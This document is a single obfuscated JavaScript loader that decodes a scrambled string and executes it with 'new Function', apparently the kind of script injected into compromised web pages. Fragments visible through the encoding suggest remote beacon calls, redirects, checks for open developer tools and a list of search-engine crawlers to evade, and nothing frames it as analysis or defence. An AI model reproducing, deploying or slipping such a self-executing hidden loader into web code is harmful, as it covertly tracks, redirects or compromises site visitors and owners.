Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"o}0"=^8"C{}YQJ6o1("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"o}0^)ThF)m7}F:Ch2mRT4"="o}0X5ThF)mX(nSnY0mRT4"="o}02pThFm7}F:Ch2mRT4"="o}0_JqhFmX(nSnY0mRT4"="o}02TOhFm7}F:Ch2mRT4"="o}0CSqhF)mX(nSnY0mRT4"="o}0)FfThF)fm7}F:Ch2mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/f/o}0j(8}vR8C{}YQJ6o1("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();